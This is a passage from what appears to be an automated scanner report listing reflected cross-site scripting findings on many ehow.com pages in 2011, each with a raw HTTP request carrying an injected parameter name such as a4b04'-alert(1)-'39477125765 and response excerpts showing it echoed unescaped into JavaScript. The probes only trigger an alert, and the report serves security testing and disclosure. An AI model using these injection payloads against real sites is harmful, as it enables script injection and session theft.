Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2113353_end-sibling-feuds.html?3cb73'-alert(1)-'4756d1fe387=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:14 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 87744
4.376. http://www.ehow.com/how_2304056_cut-shirt-make-cuter.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_2304056_cut-shirt-make-cuter.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4b04'-alert(1)-'39477125765 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2304056_cut-shirt-make-cuter.html?a4b04'-alert(1)-'39477125765=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:51 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 76783
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Cut a T Shirt To Make It Cuter | eHow.com< ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_2304056_cut-shirt-make-cuter.html?a4b04'-alert(1)-'39477125765=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_2304056_cut-shirt-make-cu ...[SNIP]...
4.377. http://www.ehow.com/how_3815_minutes-business-meeting.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_3815_minutes-business-meeting.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2374'-alert(1)-'6994478717a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_3815_minutes-business-meeting.html?a2374'-alert(1)-'6994478717a=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:50 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 91357
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Take Minutes at a Business Meeting | eHow. ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_3815_minutes-business-meeting.html?a2374'-alert(1)-'6994478717a=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_3815_minutes-business-mee ...[SNIP]...
4.378. http://www.ehow.com/how_4469163_edit-pdf-document.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_4469163_edit-pdf-document.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0dca'-alert(1)-'85cb027615b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_4469163_edit-pdf-document.html?b0dca'-alert(1)-'85cb027615b=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:06 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 78940
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Edit a PDF Document | eHow.com</title>
4.379. http://www.ehow.com/how_4474239_make-graph-using-excel.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_4474239_make-graph-using-excel.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f436'-alert(1)-'4415fbcb8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_4474239_make-graph-using-excel.html?4f436'-alert(1)-'4415fbcb8c=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:50 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 94577
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Graph Using Excel | eHow.com</title ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_4474239_make-graph-using-excel.html?4f436'-alert(1)-'4415fbcb8c=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_4474239_make-graph-using- ...[SNIP]...
4.380. http://www.ehow.com/how_4924781_open-pub-file-mac.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_4924781_open-pub-file-mac.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8f4c'-alert(1)-'1c3432371cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_4924781_open-pub-file-mac.html?b8f4c'-alert(1)-'1c3432371cf=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:04 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73508
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Open a Pub File on a Mac | eHow.com</title ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_4924781_open-pub-file-mac.html?b8f4c'-alert(1)-'1c3432371cf=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_4924781_open-pub-file-mac ...[SNIP]...
4.381. http://www.ehow.com/how_5073161_convert-wps-file-extension.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_5073161_convert-wps-file-extension.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa220'-alert(1)-'daadd8a210 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5073161_convert-wps-file-extension.html?fa220'-alert(1)-'daadd8a210=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:04 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75425
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3fab0'-alert(1)-'239e708e54d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5215115_change-startup-programs-windows-7.html?3fab0'-alert(1)-'239e708e54d=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:46 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82368
4.383. http://www.ehow.com/how_5381925_make-roof-rake.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_5381925_make-roof-rake.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c848'-alert(1)-'b133b6ee46a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5381925_make-roof-rake.html?2c848'-alert(1)-'b133b6ee46a=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 74849
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64ee4'-alert(1)-'f456c4201c4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5521182_avoid-seasonal-affective-disorder-sad.html?64ee4'-alert(1)-'f456c4201c4=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:12 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 87639
4.385. http://www.ehow.com/how_5809012_create-indoor-gardens.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_5809012_create-indoor-gardens.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f6ce'-alert(1)-'4ee6a37a499 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_5809012_create-indoor-gardens.html?7f6ce'-alert(1)-'4ee6a37a499=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:12 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 78342
4.386. http://www.ehow.com/how_6469141_improve-english-grammar-skills.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_6469141_improve-english-grammar-skills.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de2cc'-alert(1)-'9bd54b7ec50 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_6469141_improve-english-grammar-skills.html?de2cc'-alert(1)-'9bd54b7ec50=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:10 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 76525
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ccc4'-alert(1)-'eff1c631b84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_7496527_resolve-5-common-grammar-problems.html?6ccc4'-alert(1)-'eff1c631b84=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:50 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83128
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41305'-alert(1)-'0c6f72547ad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_7744253_attach-mini-shades-update-chandelier.html?41305'-alert(1)-'0c6f72547ad=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:09 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73984
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Attach Mini Shades to Update a Chandelier ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_7744253_attach-mini-shades-update-chandelier.html?41305'-alert(1)-'0c6f72547ad=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_7744253_attach-mini-shade ...[SNIP]...
4.389. http://www.ehow.com/how_7856914_prevent-chimney-fires.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_7856914_prevent-chimney-fires.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fbf8e'-alert(1)-'76a29eab4ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_7856914_prevent-chimney-fires.html?fbf8e'-alert(1)-'76a29eab4ee=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:41 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72453
4.390. http://www.ehow.com/how_9191_program-rca-universal.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_9191_program-rca-universal.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a74c'-alert(1)-'8d434bae862 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_9191_program-rca-universal.html?9a74c'-alert(1)-'8d434bae862=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:04 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83715
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Program an RCA Universal Remote Control | ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_9191_program-rca-universal.html?9a74c'-alert(1)-'8d434bae862=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_9191_program-rca-universa ...[SNIP]...
4.391. http://www.ehow.com/internet/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/internet/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d46d'-alert(1)-'33313014650 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /internet/?7d46d'-alert(1)-'33313014650=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:19 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72670
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Internet - How To Information | eHow.com</title> ...[SNIP]... <fb:like href="http://www.ehow.com/internet/?7d46d'-alert(1)-'33313014650=1" ref="like" width="300"> ...[SNIP]...
4.392. http://www.ehow.com/job-search-and-employment/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/job-search-and-employment/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e424'-alert(1)-'d58b620fb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /job-search-and-employment/?4e424'-alert(1)-'d58b620fb9=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:18 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72349
